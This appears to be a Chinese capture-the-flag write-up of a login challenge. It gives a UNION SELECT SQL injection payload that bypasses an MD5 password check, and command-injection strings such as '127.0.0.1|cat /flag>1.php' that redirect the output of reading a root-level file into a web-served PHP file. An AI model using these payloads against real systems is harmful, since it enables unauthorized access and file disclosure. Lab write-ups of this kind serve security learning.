博客内容涉及网络安全领域，具体讲述了一次登录页面的安全测试过程。作者通过尝试万能密码、弱口令和目录爆破未果，然后通过抓包分析响应头，解码获取源码。发现登录条件为密码的MD5值，利用UNION SELECT进行注入，成功绕过验证。进一步探索，确认存在命令执行漏洞，但输出被过滤。通过重定向命令输出到文件，最终成功查看到所需信息，如‘flag’。
进入环境是一个登录页面
进来先试了一遍万能密码，弱口令，目录爆破都没结果
看wp是要抓包
在响应头里有tip提示，base64解码得到源码
得到源码
显示如果密码等于它的md5值则应该能登陆成功
这里利用union select 插入密码的md5值绕过
' union select 1,md5(123)#&password=123进入后是一个进程监控系统根据题目提示这里应该就是要命令执行了
127.0.0.1|ls /没有回显
输入127.0.0.1|sleep 5有延迟说明命令执行了，但是输出可能被过滤了
我们利用>将输出结果保存到文件中查看
127.0.0.1|ls />1.php
然后查看flag
127.0.0.1|cat /flag>1.php
107
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
